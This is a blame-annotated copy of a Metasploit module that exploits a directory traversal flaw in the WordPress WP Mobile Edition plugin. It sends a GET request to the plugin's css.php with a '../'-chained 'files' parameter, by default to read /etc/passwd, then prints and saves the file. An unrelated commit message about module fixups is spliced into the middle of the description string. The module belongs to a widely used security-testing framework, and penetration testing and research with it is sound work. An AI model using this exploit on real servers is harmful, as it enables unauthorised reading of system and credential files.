2015-04-15 22:45:08 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2015-04-15 22:45:08 +00:00
|
|
|
|
|
|
|
include Msf::Auxiliary::Report
|
2015-10-15 16:47:13 +00:00
|
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
2015-04-15 22:45:08 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'WordPress Mobile Edition File Read Vulnerability',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a directory traversal vulnerability in WordPress Plugin
|
|
|
|
"WP Mobile Edition" version 2.2.7, allowing to read arbitrary files with the
|
Various post-commit fixups
Edited modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb first landed
in #5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys
Edited modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
first landed in #5192, @joevennix's module for Safari CVE-2015-1126
Edited modules/auxiliary/gather/java_rmi_registry.rb first landed in
Edited modules/auxiliary/gather/ssllabs_scan.rb first landed in #5016,
add SSL Labs scanner
Edited modules/auxiliary/scanner/http/goahead_traversal.rb first landed
in #5101, Add Directory Traversal for GoAhead Web Server
Edited modules/auxiliary/scanner/http/owa_iis_internal_ip.rb first
landed in #5158, OWA internal IP disclosure scanner
Edited modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb
first landed in #5159, WordPress Mobile Edition Plugin File Read Vuln
Edited modules/exploits/linux/http/multi_ncc_ping_exec.rb first landed
in #4924, @m-1-k-3's DLink CVE-2015-1187 exploit
Edited modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb first
landed in #5131, WordPress Slideshow Upload
Edited modules/exploits/windows/local/run_as.rb first landed in #4649,
improve post/windows/manage/run_as and as an exploit
(These results courtesy of a delightful git alias, here:
```
cleanup-prs = !"for i in `git status | grep modules | sed
s/#.*modules/modules/`; do echo -n \"Edited $i first landed in \" && git
log --oneline --first-parent $i | tail -1 | sed 's/.*Land //' && echo
''; done"
```
So that's kind of fun.
2015-05-06 16:39:15 +00:00
|
|
|
web server privileges.
|
2015-04-15 22:45:08 +00:00
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
2015-04-15 23:03:36 +00:00
|
|
|
['EDB', '36733'],
|
|
|
|
['WPVDB', '7898']
|
2015-04-15 22:45:08 +00:00
|
|
|
],
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-04-15 23:03:36 +00:00
|
|
|
'Khwanchai Kaewyos', # Vulnerability discovery
|
2015-04-15 22:45:08 +00:00
|
|
|
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
|
2015-04-16 20:22:49 +00:00
|
|
|
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2015-04-15 22:45:08 +00:00
|
|
|
end
|
|
|
|
|
2015-04-16 13:22:10 +00:00
|
|
|
def check
|
|
|
|
check_plugin_version_from_readme('wp-mobile-edition', '2.3')
|
|
|
|
end
|
|
|
|
|
2015-04-15 22:45:08 +00:00
|
|
|
def run_host(ip)
|
|
|
|
traversal = "../" * datastore['DEPTH']
|
|
|
|
filename = datastore['FILEPATH']
|
|
|
|
filename = filename[1, filename.length] if filename =~ /^\//
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
2015-04-16 08:02:39 +00:00
|
|
|
'uri' => normalize_uri(wordpress_url_themes, 'mTheme-Unus', 'css', 'css.php'),
|
2015-04-15 22:45:08 +00:00
|
|
|
'vars_get' =>
|
|
|
|
{
|
|
|
|
'files' => "#{traversal}#{filename}"
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
2015-04-16 12:23:56 +00:00
|
|
|
if res && res.code == 200 && res.body.length > 0
|
2015-04-15 22:45:08 +00:00
|
|
|
|
|
|
|
print_status('Downloading file...')
|
|
|
|
print_line("\n#{res.body}\n")
|
|
|
|
|
|
|
|
fname = datastore['FILEPATH']
|
|
|
|
|
|
|
|
path = store_loot(
|
2015-04-15 23:03:36 +00:00
|
|
|
'mobileedition.traversal',
|
2015-04-15 22:45:08 +00:00
|
|
|
'text/plain',
|
|
|
|
ip,
|
|
|
|
res.body,
|
|
|
|
fname
|
|
|
|
)
|
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("File saved in: #{path}")
|
2015-04-15 22:45:08 +00:00
|
|
|
else
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Nothing was downloaded. You can try to change the DEPTH parameter.")
|
2015-04-15 22:45:08 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|